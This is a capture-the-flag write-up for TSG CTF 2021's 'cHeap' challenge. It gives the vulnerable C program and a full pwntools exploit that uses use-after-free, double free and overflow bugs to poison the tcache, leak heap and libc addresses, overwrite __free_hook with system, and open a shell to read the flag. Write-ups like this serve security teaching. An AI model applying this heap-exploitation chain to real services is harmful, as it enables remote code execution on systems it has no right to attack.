# cHeap (TSG CTF 2021 Writeup) This is a simple heap challenge. ```c= char *ptr = NULL; void create() { unsigned size; printf("size: "); scanf("%u", &size); ptr = malloc(size); printf("data: "); readn(ptr, 0x100); } void show() { printf("%s\n", ptr); } void delete() { free(ptr); } int main(void) { init(); int select = 0; while (1) { puts("1. create"); puts("2. show"); puts("3. remove"); printf("Choice: "); scanf("%d", &select); if (select == 1) { create(); } else if (select == 2) { show(); } else if (select == 3) { delete(); } else { exit(-1); } } return 0; } ``` Note: libc is 2.31. There are tons of bugs. 1. Use After Free (show) 2. Double free (delete) 3. Heap overflow (create) The biggest limitation is that we can hold only one buffer. ## PoC ```python= from __future__ import division, print_function import random from pwn import * import argparse import time import sys context.log_level = 'error' log = False is_gaibu = True host = sys.argv[1] port = int(sys.argv[2]) def wait_for_attach(): if not is_gaibu: print('attach?') raw_input() def just_u64(x): return u64(x.ljust(8, b'\x00')) r = remote(host, port) def recvuntil(x, verbose=True): s = r.recvuntil(x) if log and verbose: print(s) return s.strip(x) def recv(verbose=True): s = r.recv() if log and verbose: print(s) return s def recvline(verbose=True): s = r.recvline() if log and verbose: print(s) return s.strip(b'\n') def sendline(s, verbose=True): if log and verbose: print(s) pass r.sendline(s) def send(s, verbose=True): if log and verbose: print(s, end='') r.send(s) def interactive(): r.interactive() #################################### def menu(choice): recvuntil(b':') sendline(str(choice).encode("ascii")) # receive and send def rs(s, new_line=True, r=b':'): recvuntil(r) if type(s) != bytes: s = str(s).encode("ascii") if new_line: sendline(s) else: send(s) def create(size, data): menu(1) rs(size) rs(data) def show(): menu(2) recvuntil(b' ') return recvline() def remove(): menu(3) create(0x30, b"c") remove() create(0x40, b"b") remove() create(0x10, b"a") remove() create(0x20, b"b") remove() create(0x40, b"a" * 0x48 + p64(0x41)) wait_for_attach() remove() create(0x10, b"b") remove() heap_base = just_u64(show()) - 0x2a0 print(hex(heap_base)) create(0x10000, b"f") create(0x10, b"g") create(0x40, b"z" * 0x50 + p64(heap_base + 0x380)) create(0x30, b"h") create(0x30, b"z") remove() libc_base = just_u64(show()) - 0x1ebbe0 print(hex(libc_base)) create(0x30, b"c") remove() create(0x40, b"b") remove() create(0x10, b"a") remove() create(0x20, b"b") remove() create(0x40, b"a" * 0x48 + p64(0x41)) remove() wait_for_attach() create(0x10, b"b") remove() free_hook = libc_base + 0x1eeb28 system = libc_base + 0x55410 create(0x40, b"z" * 0x50 + p64(free_hook)) create(0x30, b"h") create(0x30, p64(system)) create(0x10, b"/bin/sh\x00") remove() r.sendline(b"cat flag; echo UOUO") s = r.recvuntil(b"UOUO") if b"TSGCTF" in s: print(s) exit(0) else: exit(1) interactive() ```